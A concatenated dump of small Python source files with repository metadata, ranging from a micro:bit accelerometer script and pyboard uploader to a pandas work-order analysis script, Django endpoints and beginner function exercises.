] | null | null | null | micropython/002_plot_test.py | mirontoli/tolle-rasp | 020638e86c167aedd7b556d8515a3adef70724af | [
"MIT"
] | null | null | null | # https://codewith.mu/en/tutorials/1.0/microbit
from microbit import *
flag = True
while True:
sleep(100)
if button_a.was_pressed():
flag = not flag
if flag:
print((accelerometer.get_x(),))
else:
print(accelerometer.get_values()) | 22.5 | 47 | 0.637037 |
afcecca0aaa83b41a9ff96c5213253a69fa739e1 | 153 | py | Python | osbot_aws/helpers/Fargate_Cluster.py | artem7902/OSBot-AWS | 4b676b8323f18d3d9809d41263f3a71745ec2828 | [
"Apache-2.0"
] | null | null | null | osbot_aws/helpers/Fargate_Cluster.py | artem7902/OSBot-AWS | 4b676b8323f18d3d9809d41263f3a71745ec2828 | [
"Apache-2.0"
] | null | null | null | osbot_aws/helpers/Fargate_Cluster.py | artem7902/OSBot-AWS | 4b676b8323f18d3d9809d41263f3a71745ec2828 | [
"Apache-2.0"
] | null | null | null | from osbot_aws.apis.Fargate import Fargate
| 15.3 | 42 | 0.732026 |
afceefa6ab42fdff336bb5e178d3b569a6751ee3 | 7,156 | py | Python | adventxtend.py | Textovortex/AdventXtend | 0818804daecb570c98b6d7793a99223d2f14665b | [
"MIT"
] | 1 | 2021-04-16T12:04:56.000Z | 2021-04-16T12:04:56.000Z | adventxtend.py | leha-code/adventXtend | 0818804daecb570c98b6d7793a99223d2f14665b | [
"MIT"
] | 2 | 2021-04-16T16:16:47.000Z | 2021-04-18T01:19:06.000Z | adventxtend.py | leha-code/adventXtend | 0818804daecb570c98b6d7793a99223d2f14665b | [
"MIT"
] | null | null | null | '''
________ ________ ___ ___ _______ ________ _________ ___ ___ _________ _______ ________ ________
|\ __ \|\ ___ \|\ \ / /|\ ___ \ |\ ___ \|\___ ___\|\ \ / /|\___ ___\\ ___ \ |\ ___ \|\ ___ \
\ \ \|\ \ \ \_|\ \ \ \ / / | \ __/|\ \ \\ \ \|___ \ \_|\ \ \/ / ||___ \ \_\ \ __/|\ \ \\ \ \ \ \_|\ \
\ \ __ \ \ \ \\ \ \ \/ / / \ \ \_|/_\ \ \\ \ \ \ \ \ \ \ / / \ \ \ \ \ \_|/_\ \ \\ \ \ \ \ \\ \
\ \ \ \ \ \ \_\\ \ \ / / \ \ \_|\ \ \ \\ \ \ \ \ \ / \/ \ \ \ \ \ \_|\ \ \ \\ \ \ \ \_\\ \
\ \__\ \__\ \_______\ \__/ / \ \_______\ \__\\ \__\ \ \__\/ /\ \ \ \__\ \ \_______\ \__\\ \__\ \_______\
\|__|\|__|\|_______|\|__|/ \|_______|\|__| \|__| \|__/__/ /\ __\ \|__| \|_______|\|__| \|__|\|_______|
|__|/ \|__|
By | |_|_| /\_|_._ _ o.__|_ _
|_|_| |/--\|_|_||_)(_)|| ||_(_)\/\/
_/ _/ _/ _/ _/ _/ _/_/_/ _/_/_/_/_/
_/ _/_/_/ _/_/ _/_/_/ _/_/_/ _/_/ _/_/_/ _/ _/ _/_/_/ _/_/_/ _/_/ _/ _/_/ _/_/ _/_/ _/ _/
_/ _/ _/ _/_/_/_/ _/ _/ _/_/ _/_/_/_/ _/ _/ _/ _/ _/ _/ _/ _/ _/_/_/_/ _/_/ _/ _/ _/ _/ _/
_/ _/ _/ _/ _/ _/ _/_/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/
_/ _/ _/_/_/ _/_/_/ _/ _/ _/_/_/ _/_/_/ _/_/_/ _/_/_/ _/ _/ _/_/_/ _/_/_/ _/ _/ _/ _/_/_/ _/
'''
try: from adventurelib import Item, say, Bag # importing dependencies
except: from adstrangerlib import Item, say, Bag
from random import choice, randint
import time
__version__ = "0.0.3"
| 50.394366 | 237 | 0.396311 |
afceffc0fa04029d539709b408be0aca115cbc14 | 415 | py | Python | student.py | gabrielmccoll/python-learning | 253dcf9df647dbdcaaeac498c962db39868d6604 | [
"MIT"
] | null | null | null | student.py | gabrielmccoll/python-learning | 253dcf9df647dbdcaaeac498c962db39868d6604 | [
"MIT"
] | null | null | null | student.py | gabrielmccoll/python-learning | 253dcf9df647dbdcaaeac498c962db39868d6604 | [
"MIT"
] | null | null | null | students = []
| 21.842105 | 48 | 0.73253 |
afcf06799a4c681aefacbbab3bd0c395c6f657a8 | 700 | py | Python | led_panel_client/cli/commands.py | Glutexo/ledpanel-client | c23b5913f4a7727f0a878a4240187fb8c16be034 | [
"MIT"
] | 1 | 2019-01-26T14:53:36.000Z | 2019-01-26T14:53:36.000Z | led_panel_client/cli/commands.py | Glutexo/ledpanel-client | c23b5913f4a7727f0a878a4240187fb8c16be034 | [
"MIT"
] | 3 | 2018-08-05T14:53:55.000Z | 2019-01-27T11:15:45.000Z | led_panel_client/cli/commands.py | Glutexo/ledpanel-client | c23b5913f4a7727f0a878a4240187fb8c16be034 | [
"MIT"
] | null | null | null | from ampy.pyboard import Pyboard
from ampy.files import Files
from .files import led_panel_client, max7219
from os.path import basename
from sys import argv
def put():
"""
Uploads all necessary files to the pyboard.
"""
if len(argv) < 2:
print("Pyboard COM port not specified. Usage: led_panel_client_put /dev/tty.wchusbserial1410")
exit(1)
pyboard_pyboard = Pyboard(argv[1])
pyboard_files = Files(pyboard_pyboard)
files_to_put = led_panel_client() | max7219()
for file_path in files_to_put:
name = basename(file_path)
with open(file_path) as file_object:
data = file_object.read()
pyboard_files.put(name, data)
| 28 | 102 | 0.687143 |
afcfa558f77ea2152e94c0d489367f3ae1bc234b | 3,241 | py | Python | koopman-intro/args.py | AbsoluteStratos/blog-code | 3a8e308d55931b053b8a47268c52d62e0fa16bd8 | [
"MIT"
] | 2 | 2021-07-30T10:04:18.000Z | 2022-01-30T18:29:30.000Z | koopman-intro/args.py | AbsoluteStratos/blog-code | 3a8e308d55931b053b8a47268c52d62e0fa16bd8 | [
"MIT"
] | 1 | 2021-10-17T20:08:41.000Z | 2021-10-17T20:08:41.000Z | koopman-intro/args.py | AbsoluteStratos/blog-code | 3a8e308d55931b053b8a47268c52d62e0fa16bd8 | [
"MIT"
] | 2 | 2021-07-30T10:04:20.000Z | 2021-09-01T00:07:14.000Z | '''
Into to deep learning Koopman operators
===
Author: Nicholas Geneva (MIT Liscense)
url: https://nicholasgeneva.com/blog/
github: https://github.com/NickGeneva/blog-code
===
'''
import numpy as np
import random
import argparse
import os, errno, copy, json
import torch | 41.551282 | 122 | 0.624499 |
afcfa7df8b6551e0c9178682429e9831edd629a5 | 1,767 | py | Python | tests/test_write_basic_udf.py | eodcgmbh/eodc-openeo-bindings | 4e80eba036771a0c81359e1ac66862f1eead407b | [
"MIT"
] | null | null | null | tests/test_write_basic_udf.py | eodcgmbh/eodc-openeo-bindings | 4e80eba036771a0c81359e1ac66862f1eead407b | [
"MIT"
] | 7 | 2020-02-18T17:12:31.000Z | 2020-09-24T07:19:04.000Z | tests/test_write_basic_udf.py | eodcgmbh/eodc-openeo-bindings | 4e80eba036771a0c81359e1ac66862f1eead407b | [
"MIT"
] | null | null | null | """
This test checks the input file generation of a basic job using a python UDF.
"""
import os
from eodc_openeo_bindings.job_writer.basic_writer import BasicJobWriter
| 39.266667 | 131 | 0.739106 |
afd07ae84271209f560ab1e8af1cb6cd4f30c6a7 | 336 | py | Python | server/object_detection/Constants.py | KimSangYeon-DGU/Fire_Alarm_CCTV | a5dd6c145c898e85bf0c42c03f12cb0415330d74 | [
"Apache-2.0"
] | 10 | 2018-09-05T15:20:05.000Z | 2020-06-01T03:57:08.000Z | server/object_detection/Constants.py | KimSangYeon-DGU/Fire_Alarm_CCTV | a5dd6c145c898e85bf0c42c03f12cb0415330d74 | [
"Apache-2.0"
] | null | null | null | server/object_detection/Constants.py | KimSangYeon-DGU/Fire_Alarm_CCTV | a5dd6c145c898e85bf0c42c03f12cb0415330d74 | [
"Apache-2.0"
] | 7 | 2019-06-19T05:44:23.000Z | 2020-08-30T07:26:13.000Z | import socket as sock
import os
IP = sock.gethostname()
CCTV_PORT = 9000
ANDR_PORT = 8000
CUR_DIR = os.getcwd()
REC_DIR = os.path.join(CUR_DIR, "record")
DB_ADDR = "Database server address"
PUSH_ADDR = "Push notification server address"
REG_ID = "Registration ID"
NOTIF_COUNT = 4
QUEUE_SIZE = 30
REC_FILE_NUM = 60
NOTIF_MINIUTE = 10 | 18.666667 | 46 | 0.752976 |
afd20fab82d3922fc99876b2d016b1c0bd247c6a | 7,878 | py | Python | sanstitre1.py | mrrobotsca/NLP-AI2020 | ff9c39f3a1d1dd2fbc57d596edf01d0e035d5b59 | [
"Apache-2.0"
] | null | null | null | sanstitre1.py | mrrobotsca/NLP-AI2020 | ff9c39f3a1d1dd2fbc57d596edf01d0e035d5b59 | [
"Apache-2.0"
] | 2 | 2021-06-08T21:48:56.000Z | 2021-09-08T02:11:07.000Z | sanstitre1.py | mrrobotsca/NLP-AI2020 | ff9c39f3a1d1dd2fbc57d596edf01d0e035d5b59 | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
"""
Created on Wed Feb 27 14:14:47 2019
@author: DK0086
"""
import odema as od
import numpy as np
from datetime import datetime
import pandas as pd
import geopy.distance
import math
import os
import time
import sys
from geopy.geocoders import Nominatim
geolocator = Nominatim(user_agent="Dash")
#######################################################################
# 1em Partie :
# Connection a Database des ordre D3 et traitement des donnees
tec=pd.read_csv(r'Territoire_vs_technicien.csv', sep=";",encoding = "ISO-8859-1" )
sql = "SELECT MVW_BW_AVIS.AVIS, MVW_BW_AVIS.DESCRIPTION, MVW_BW_AVIS.TYP, MVW_BW_AVIS.DATE_AVIS, \
MVW_BW_AVIS.ANNEE_DATE_AVIS, MVW_BW_AVIS.MOIS_DATE_AVIS, MVW_BW_AVIS.STATSYS, MVW_BW_AVIS.STAT_UTIL, \
MVW_BW_AVIS.ORDRE, MVW_BW_ORDRES.DATE_CREATION, MVW_BW_AVIS.POSTETECHNIQUE, MVW_BW_AVIS.CODAGE, \
MVW_BW_AVIS.DIV, MVW_BW_AVIS.RESPONSABLE FROM ODEMA.MVW_BW_AVIS MVW_BW_AVIS LEFT OUTER JOIN ODEMA.MVW_BW_ORDRES MVW_BW_ORDRES ON (MVW_BW_AVIS.ORDRE = MVW_BW_ORDRES.ORDRE)"
div=tec.loc[:,'Division'].astype(str)
divv=[]
for row in div:
a=row
if len(a)==3:
a='0'+a
divv.append(a)
else:
divv.append(a)
localisation= tec.loc[:,'Dsignation']
lon=[]
lat=[]
for row in localisation:
location = geolocator.geocode(row,timeout=15)
print(location.address)
lat.append(location.latitude)
lon.append(location.longitude)
tec['longitude']=lon
tec['latitude']=lat
tec['Division']=divv
tec.index = tec['Division']
df = od.read_odema(sql=sql)
test = df[df['DIV'].isin(divv)].copy()
test['IPOT'] = test['STAT_UTIL'].fillna('').str.contains('IPOT')
test['ANOI'] = test['STAT_UTIL'].fillna('').str.contains('ANOI')
test['AINF'] = test['STAT_UTIL'].fillna('').str.contains('AINF')
test["TYP"] = np.where(test['TYP'] == "D3",
np.where(test['IPOT'],
"D3-IPOT",
np.where(test['AINF'],
'D3-AINF',
np.where(test['ANOI'],
'D3-ANOI',
"D3-AUTRE")
)
),
test['TYP'])
R5=['R01','R02','R03','R04','R05']
R10=['R06','R07','R08','R09','R10']
test['R5_et_moins']=test['CODAGE'].isin(R5)
test['R6_et_plus']=test['CODAGE'].isin(R10)
test = test[test['CODAGE'].isin(R5) | test['CODAGE'].isin(R10)]
test = test[test['TYP'].isin(['D2','D4','D9','D3']) | test['TYP'].str.contains('D3')]
test['TYPE_CODE']=test['TYP']
test["Technicien"] = test["DIV"].map(tec["Techniciens"]).fillna("non-assigne")
test["Dsignation"] = test["DIV"].map(tec["Dsignation"]).fillna("non-assigne")
test["Territoires"] = test["DIV"].map(tec["Territoires"]).fillna("non-assigne")
test["longitude"] = test["DIV"].map(tec["latitude"]).fillna("non-assigne")
test["latitude"] = test["DIV"].map(tec["longitude"]).fillna("non-assigne")
testcopy = test.copy()
df_ordres = testcopy[testcopy['ORDRE'].notnull()].copy()
testcopy["date"] = testcopy["DATE_AVIS"]
df_ordres["date"] = df_ordres["DATE_CREATION"]
testcopy=testcopy[(testcopy.date.dt.year>=2012)& (testcopy.date.dt.year<=2020)]
df_ordres=df_ordres[(df_ordres.date.dt.year>=2012)& (df_ordres.date.dt.year<=2020)]
testcopy["TYP"] = testcopy["TYP"] + "-lances"
df_ordres["TYP"] = df_ordres["TYP"] + "-confirmes"
testcopy = testcopy.append(df_ordres)
del testcopy["DATE_AVIS"], testcopy["DATE_CREATION"], testcopy['AINF'], testcopy['ANOI'], testcopy['IPOT'], testcopy['R5_et_moins'], testcopy['R6_et_plus']
test["TYP"] = np.where(test['R5_et_moins'],test['TYP']+"-R5",test['TYP']+"-R10")
df_ordres = test[test['ORDRE'].notnull()].copy()
test["date"] = test["DATE_AVIS"]
df_ordres["date"] = df_ordres["DATE_CREATION"]
test=test[(test.date.dt.year>=2012)& (test.date.dt.year<=2020)]
df_ordres=df_ordres[(df_ordres.date.dt.year>=2012)& (df_ordres.date.dt.year<=2020)]
test["TYP"] = test["TYP"] + "-lances"
df_ordres["TYP"] = df_ordres["TYP"] + "-confirmes"
test = test.append(df_ordres)
del test["DATE_AVIS"], test["DATE_CREATION"],test['AINF'], test['ANOI'], test['IPOT'], test['R5_et_moins'], test['R6_et_plus']
test = test.append(testcopy)
#######################################################################
# 2em Partie :
# Connection a Database des ordre 443 et traitement des donnees
sql_req_443 = \
"SELECT MVW_BW_ORDRES.TYPE, \
MVW_BW_ORDRES.CODE_NATURE, \
MVW_BW_ORDRES.ORDRE, \
MVW_BW_OPERATIONS_SM_PM.OPERATION_SM_PM, \
MVW_BW_ORDRES.DESIGNATION, \
MVW_BW_OPERATIONS_SM_PM.DESIGNATION_OPERATION_SM_PM, \
MVW_BW_OPERATIONS_SM_PM.STATUTS_UTIL_COMPLET_SM_PM, \
MVW_BW_OPERATIONS_SM_PM.STATUT_OP_COMPLET_SM_PM, \
MVW_BW_OPERATIONS_SM_PM.DATE_STATUT_CONF_SM_PM, \
MVW_BW_OPERATIONS_SM_PM.DATE_STATUT_LANC_SM_PM, \
MVW_BW_ORDRES.DIVISION_GRPE_GESTION, \
MVW_BW_ORDRES.DIVISION_POSTE_RESP, \
MVW_BW_ORDRES.POSTERESP \
FROM ODEMA.MVW_BW_ORDRES \
INNER JOIN ODEMA.MVW_BW_OPERATIONS_SM_PM \
ON (MVW_BW_ORDRES.ORDRE = MVW_BW_OPERATIONS_SM_PM.ORDRE_SM_PM) \
WHERE(MVW_BW_ORDRES.CODE_NATURE = '443')"
geolocator = Nominatim(user_agent="Dash")
df443 = od.read_odema(sql=sql_req_443)
df=pd.read_csv(r'Territoire_vs_technicien.csv', sep=";",encoding = "ISO-8859-1" )
div=df.loc[:,'Division'].astype(str)
divv=[]
for row in div:
a=row
if len(a)==3:
a='0'+a
divv.append(a)
else:
divv.append(a)
df['Division']=divv
localisation= df.loc[:,'Dsignation']
lon=[]
lat=[]
for row in localisation:
location = geolocator.geocode(row,timeout=15)
print(location.address)
lat.append(location.latitude)
lon.append(location.longitude)
df['longitude']=lon
df['latitude']=lat
df.index = df['Division']
df443['chk'] = df443['DESIGNATION_OPERATION_SM_PM'].fillna('').str.lower().str.replace('','e')
df443['TYPE_CODE'] = df443['TYPE'] + '-' + df443['CODE_NATURE']
df443['TYPE_CODE'] = np.where(df443['chk'].fillna("").str.contains('diagnostic')
,df443['TYPE_CODE'] + '-' + 'Diagnostic'
,df443['TYPE_CODE'] + '-' + 'Autre'
)
closed = df443[df443['DATE_STATUT_CONF_SM_PM'].notnull()].copy()
df443 = df443[df443['DATE_STATUT_LANC_SM_PM'].notnull()] #pas suppos d'avoir aucun null mais quand mme, juste pour tre sr
closed['date'] = closed['DATE_STATUT_CONF_SM_PM']
df443['date'] = df443['DATE_STATUT_LANC_SM_PM']
lst_champs = ['TYPE_CODE','TYPE','CODE_NATURE','ORDRE','DESIGNATION','OPERATION_SM_PM','DESIGNATION_OPERATION_SM_PM','date', 'DIVISION_GRPE_GESTION','DIVISION_POSTE_RESP']
closed = closed[lst_champs]
df443 = df443[lst_champs]
df443['TYP'] = df443['TYPE_CODE'] + '-lances'
closed['TYP'] = closed['TYPE_CODE'] + '-confirmes'
df443 = df443.append(closed)
df443['DIV'] = df443['DIVISION_POSTE_RESP']
df443["Technicien"] = df443["DIV"].map(df["Techniciens"]).fillna("non-assigne")
df443["Dsignation"] = df443["DIV"].map(df["Dsignation"]).fillna("non-assigne")
df443["Territoires"] = df443["DIV"].map(df["Territoires"]).fillna("non-assigne")
df443["longitude"] = df443["DIV"].map(df["latitude"]).fillna("non-assigne")
df443["latitude"] = df443["DIV"].map(df["longitude"]).fillna("non-assigne")
df443["TYP_STATUS"] = df443["TYP"]
df443['433'] = df443['CODE_NATURE'].fillna('').str.contains('433')
del closed
#tot=pd.concat([df443, test], ignore_index=True)
#tot.to_csv('tot.csv',sep=";")
| 37.514286 | 180 | 0.621351 |
afd2843c7e52da7b669cdb447daf485dad48b407 | 4,398 | py | Python | GlassdoorScrape/GlassdoorScrape/GlassdoorScrapeCore/GlassdoorScrapeInterviews.py | tlarsen7572/AlteryxTools | 4bfaefbf59f7206215f42a6ca5b364f71c35fa1f | [
"BSD-2-Clause"
] | 9 | 2019-05-29T12:53:03.000Z | 2020-07-01T13:26:12.000Z | GlassdoorScrape/GlassdoorScrape/GlassdoorScrapeCore/GlassdoorScrapeInterviews.py | tlarsen7572/AlteryxTools | 4bfaefbf59f7206215f42a6ca5b364f71c35fa1f | [
"BSD-2-Clause"
] | 2 | 2018-07-20T00:23:46.000Z | 2018-10-16T20:37:34.000Z | GlassdoorScrape/GlassdoorScrape/GlassdoorScrapeCore/GlassdoorScrapeInterviews.py | tlarsen7572/AlteryxTools | 4bfaefbf59f7206215f42a6ca5b364f71c35fa1f | [
"BSD-2-Clause"
] | 2 | 2019-03-15T13:43:36.000Z | 2020-04-27T00:15:53.000Z | import GlassdoorScrapeCore.GlassdoorScrapeUtilities as Ut
| 35.467742 | 135 | 0.571851 |
afd436ddbf34c2bee6a32af594d6e66622817288 | 8,626 | py | Python | qurkexp/join/cron.py | marcua/qurk_experiments | 453c207ff50e730aefb6e1118e0f93e33babdb0b | [
"BSD-3-Clause"
] | 1 | 2015-09-30T00:09:06.000Z | 2015-09-30T00:09:06.000Z | qurkexp/join/cron.py | marcua/qurk_experiments | 453c207ff50e730aefb6e1118e0f93e33babdb0b | [
"BSD-3-Clause"
] | null | null | null | qurkexp/join/cron.py | marcua/qurk_experiments | 453c207ff50e730aefb6e1118e0f93e33babdb0b | [
"BSD-3-Clause"
] | null | null | null | import sys,os,base64,time,traceback
from datetime import datetime
ROOT = os.path.abspath('%s/../..' % os.path.abspath(os.path.dirname(__file__)))
sys.path.append(ROOT)
os.environ['DJANGO_SETTINGS_MODULE'] = 'qurkexp.settings'
SLEEP_TIME = 10
if __name__ == '__main__':
from django.conf import settings
from qurkexp.hitlayer.models import HitLayer, HIT
from qurkexp.join.models import *
hitlayer = HitLayer.get_instance()
hitlayer.register_cb_generator('celeb', celeb_cb_generator)
hitlayer.register_cb_generator('celeb_feature', celeb_features_cb_generator)
hitlayer.register_cb_generator('celeb_batchpair', celeb_batchpair_cb_generator)
hitlayer.register_cb_generator('sort', sort_cb_generator)
while True:
HitLayer.get_instance().check_hits()
print "going to sleep for %d sec" % (SLEEP_TIME)
time.sleep(SLEEP_TIME)
exit()
cmds = [#'python movie_batchpairs.py 211 10 naive movie_all_naive_10_1 5',
#'python movie_batchpairs.py 211 5 naive movie_all_naive_5_1 5',
#'python movie_batchpairs.py 211 2 smart movie_all_smart_2_1 5',
#'python movie_batchpairs.py 211 3 smart movie_all_smart_3_1 5',
#'python movie_batchpairs.py 211 5 smart movie_all_smart_5_1 5',
#'python generate_comparisons.py animals rating 27 5 1 5 animals-dangerous-rating-27-5-1-5-2',
#'python movie_batchpairs.py 211 5 naive movie_all_naive_5_3 5',
#'python generate_batchpairs.py 30 10 naive ordered 30-10-naive-ordered-20 5',
#'python generate_batchpairs.py 30 5 naive ordered 30-5-naive-ordered-20 5',
#'python generate_batchpairs.py 30 3 naive ordered 30-3-naive-ordered-20 5',
#'python generate_comparisons.py squares cmp 40 1 10 5 squares-cmp-40-1-10-5-1'
# 'python generate_comparisons.py squares rating 50 5 1 5 squares-skew-rating-50-5-1-5-3',
# 'python generate_comparisons.py squares rating 50 5 1 5 squares-skew-rating-50-5-1-5-4',
# 'python generate_comparisons.py squares cmp 40 1 5 5 squares-skew-cmp-40-1-5-5-1'
#'python generate_comparisons.py squares rating 5 5 1 1 test_eugene_10',
]
while len(cmds) > 0:
cmd = cmds.pop(0)
runcmd(cmd)
exit()
cmds = []
for actorid in range(1, 5+1):
cmds.append('python movie_comparisons.py cmp movie_all_smart_3_1 %d 1 5 5 movie_cmp_%d_1_5_5_v3' % (actorid, actorid))
runcmds(cmds)
cmds = []
for actorid in range(1, 5+1):
cmds.append('python movie_comparisons.py rating movie_all_smart_3_1 %d 5 1 5 movie_rat_%d_5_1_5_v3' % (actorid, actorid))
runcmds(cmds)
| 40.308411 | 131 | 0.504405 |
afd5a7231c757b5d59c10582041a64bcee61c37a | 4,155 | py | Python | 30-Days-of-Python/Day_12.py | davidusken/Python | 56d2103d6be1e7be850ba87a1ba1e113333ddf13 | [
"MIT"
] | null | null | null | 30-Days-of-Python/Day_12.py | davidusken/Python | 56d2103d6be1e7be850ba87a1ba1e113333ddf13 | [
"MIT"
] | null | null | null | 30-Days-of-Python/Day_12.py | davidusken/Python | 56d2103d6be1e7be850ba87a1ba1e113333ddf13 | [
"MIT"
] | 1 | 2021-02-28T12:52:55.000Z | 2021-02-28T12:52:55.000Z | # Day 12: Functions
# Exercises
# Define four functions: add, subtract, divide, and multiply. Each function should take two arguments, and they should print the result of the arithmetic operation indicated by the function name.
# When orders matters for an operation, the first argument should be treated as the left operand, and the second argument should be treated as the right operand.
# For example, if the user passes in 6 and 2 to subtract, the result should be 4, not -4.
# You should also make sure that the user cant pass in 0 as the second argument for divide. If the user provides 0, you should print a warning instead of calculating their division.
# Main (input/menu)
firstvalue = int(input("Enter first value: "))
secondvalue = int(input("Enter second value: "))
userchoice = input("\nWhat operation do you wish to perform?\n1. Add\n2. Subtract\n3. Divide\n4. Multiply\nEnter choice: ")
if userchoice == "1":
add(firstvalue, secondvalue)
elif userchoice == "2":
subtract(firstvalue, secondvalue)
elif userchoice == "3":
divide(firstvalue, secondvalue)
elif userchoice == "4":
multiply(firstvalue, secondvalue)
else:
print("Invalid input, try again.")
# Define a function called print_show_info that has a single parameter. The argument passed to it will be a dictionary with some information about a T.V. show. For example:
# The print_show_info function should print the information stored in the dictionary, in a nice way. For example:
# Breaking Bad (2008) - 5 seasons - Remember you must define your function before calling it!
tv_show = {
"title": "Breaking Bad",
"seasons": 5,
"initial_release": 2008
}
print_show_info(tv_show)
# Below youll find a list containing details about multiple TV series.
series = [
{"title": "Breaking Bad", "seasons": 5, "initial_release": 2008},
{"title": "Fargo", "seasons": 4, "initial_release": 2014},
{"title": "Firefly", "seasons": 1, "initial_release": 2002},
{"title": "Rick and Morty", "seasons": 4, "initial_release": 2013},
{"title": "True Detective", "seasons": 3, "initial_release": 2014},
{"title": "Westworld", "seasons": 3, "initial_release": 2016},
]
# Use your function, print_show_info, and a for loop, to iterate over the series list, and call your function once for each iteration, passing in each dictionary.
# You should end up with each series printed in the appropriate format.
for show in series:
print_show_info(show)
# Create a function to test if a word is a palindrome. A palindrome is a string of characters that are identical whether read forwards or backwards. For example, was it a car or a cat I saw is a palindrome.
# In the day 7 project, we saw a number of ways to reverse a sequence, and you can use this to verify whether a string is the same backwards as it is in its original order. You can also use a slicing approach.
# Once youve found whether or not a word is a palindrome, you should print the result to the user. Make sure to clean up the argument provided to the function. We should be stripping whitespace from both
# ends of the string, and we should convert it all to the same case, just in case were dealing with a name, like Hannah.
# Vars needed
userword = None
reverseword = None
palindrome_check() | 43.736842 | 210 | 0.726113 |
bb5df3fbda301f153649b52b26d0e9ba6ce8747f | 24 | py | Python | ckan_cloud_operator/providers/db/constants.py | MuhammadIsmailShahzad/ckan-cloud-operator | 35a4ca88c4908d81d1040a21fca8904e77c4cded | [
"MIT"
] | 14 | 2019-11-18T12:01:03.000Z | 2021-09-15T15:29:50.000Z | ckan_cloud_operator/providers/db/constants.py | MuhammadIsmailShahzad/ckan-cloud-operator | 35a4ca88c4908d81d1040a21fca8904e77c4cded | [
"MIT"
] | 52 | 2019-09-09T14:22:41.000Z | 2021-09-29T08:29:24.000Z | ckan_cloud_operator/providers/db/constants.py | MuhammadIsmailShahzad/ckan-cloud-operator | 35a4ca88c4908d81d1040a21fca8904e77c4cded | [
"MIT"
] | 8 | 2019-10-05T12:46:25.000Z | 2021-09-15T15:13:05.000Z | PROVIDER_SUBMODULE='db'
| 12 | 23 | 0.833333 |
bb5dfba5c5533938d6a17b1b05c8c187bd4dad1b | 3,450 | py | Python | models/combiner/combiner_network.py | tunasoup/multimodal-scene-classification | 85f72da3f6ab947fff0929a6ff0e4a8d1fd34377 | [
"MIT"
] | null | null | null | models/combiner/combiner_network.py | tunasoup/multimodal-scene-classification | 85f72da3f6ab947fff0929a6ff0e4a8d1fd34377 | [
"MIT"
] | null | null | null | models/combiner/combiner_network.py | tunasoup/multimodal-scene-classification | 85f72da3f6ab947fff0929a6ff0e4a8d1fd34377 | [
"MIT"
] | null | null | null | """
Contains the trainable sub-network of an ensemble classifier.
Handles calling the training and evaluation.
"""
import torch
import torch.nn as nn
import torch.optim as optim
from matplotlib.pyplot import show
from utility.fusion_functions import (train_nn_combiner_model,
test_nn_combiner)
from definitions import (MODELS_TRAIN_OUTPUTS_FILE, MODELS_VAL_OUTPUTS_FILE,
MODELS_TEST_OUTPUTS_FILE,
BEST_COMBINER_MODEL)
from utility.utilities import FusionData, Features
if __name__ == '__main__':
run_train = True
run_test = True
device = 'cuda:0' if torch.cuda.is_available() else 'cpu'
print(device)
model_ensemble = CombinerModel()
if run_train:
optimizer = optim.Adam(model_ensemble.parameters(), lr=0.000020)
epochs = 100
batch_size = 32
feature_train = Features(feature_file=MODELS_TRAIN_OUTPUTS_FILE,
arg_names=['X', 'y'])
data_train = FusionData(features=[feature_train], do_reshape=False)
feature_val = Features(feature_file=MODELS_VAL_OUTPUTS_FILE,
arg_names=['X', 'y'])
data_val = FusionData(features=[feature_val], do_reshape=False)
train_nn_combiner_model(model=model_ensemble,
optimizer=optimizer,
train_data=data_train.get_data(),
val_data=data_val.get_data(),
best_model=BEST_COMBINER_MODEL,
device=device,
epochs=epochs,
batch_size=batch_size)
if run_test:
feature_test = Features(feature_file=MODELS_TEST_OUTPUTS_FILE,
arg_names=['X', 'y'])
data_test = FusionData(features=[feature_test], do_reshape=False)
model_ensemble.load_state_dict(torch.load(BEST_COMBINER_MODEL))
model_ensemble.eval()
test_nn_combiner(model=model_ensemble,
test_data=data_test.get_data(),
device=device,
verbose=True)
show()
"""
with logits, lr=0.000015, test: 0.872 (epoch 87) batchnormed, 0.871 without
with probabilities, lr=0.000025, test: 0.872 (epoch 46) batchnormed, 0.849 without
with softmax of probabilities, lr=0.000025 test: 0.872 (epoch 46) batchnormed, 0.814 without higher lr
with softmax of logits, lr=0.000020, 0.865, (epoch 46) batchnormed,
with logits:
test: 0.872 val: 0.892 val_loss: 0.2937 avg: 86.61% test_loss: 0.3840
optimizer = optim.Adam(model_ensemble.parameters(), lr=0.000015)
epochs = 92 # (87), 0.871 without batchnorm
batch_size = 32
self.model = nn.Sequential(
nn.Linear(self.input_dim, 32),
nn.BatchNorm1d(32),
nn.ReLU(),
#nn.Dropout(0.5),
nn.Linear(32, 10)
)
"""
| 35.9375 | 102 | 0.595072 |
bb5e3228f03e7078fb5aaf1eab536edafbe9b383 | 1,639 | py | Python | gotools_rename.py | liuhewei/gotools-sublime | 2c44f84024f9fd27ca5c347cab080b80397a32c2 | [
"MIT"
] | 60 | 2016-04-06T15:28:11.000Z | 2021-01-26T13:08:19.000Z | gotools_rename.py | liuhewei/gotools-sublime | 2c44f84024f9fd27ca5c347cab080b80397a32c2 | [
"MIT"
] | 19 | 2016-04-07T02:28:22.000Z | 2019-05-16T14:32:14.000Z | gotools_rename.py | liuhewei/gotools-sublime | 2c44f84024f9fd27ca5c347cab080b80397a32c2 | [
"MIT"
] | 18 | 2016-04-19T18:23:49.000Z | 2021-08-31T14:32:03.000Z | import sublime
import sublime_plugin
import os
from .gotools_util import Buffers
from .gotools_util import GoBuffers
from .gotools_util import Logger
from .gotools_util import ToolRunner
| 38.116279 | 95 | 0.698597 |
bb5ffa2d4cc2b708f22acabc46b7a17e37cfa7ad | 765 | py | Python | backend/equipment/endpoints.py | Vini1979/Engenharia_Software_IF977 | dee99b7a05736bd35935d30a88b61a1f273d7633 | [
"MIT"
] | null | null | null | backend/equipment/endpoints.py | Vini1979/Engenharia_Software_IF977 | dee99b7a05736bd35935d30a88b61a1f273d7633 | [
"MIT"
] | 1 | 2021-04-14T18:52:27.000Z | 2021-04-14T18:52:27.000Z | backend/equipment/endpoints.py | Vini1979/Engenharia_Software_IF977 | dee99b7a05736bd35935d30a88b61a1f273d7633 | [
"MIT"
] | 1 | 2021-04-27T18:15:13.000Z | 2021-04-27T18:15:13.000Z | from rest_framework.generics import ListCreateAPIView, RetrieveUpdateDestroyAPIView
from equipment.serializers import EquipmentSerializer, ItemSerializer
from equipment.models import Item, Equipment
| 31.875 | 83 | 0.831373 |
bb601bdac4b627b652ca2cc549c648ed9d7b4ddf | 1,286 | py | Python | {{cookiecutter.project_slug}}/setup.py | mathemaphysics/cookiecutter-cpp-devcontainer | d9a8e23e165e3698b4a1cb4516a397450355466a | [
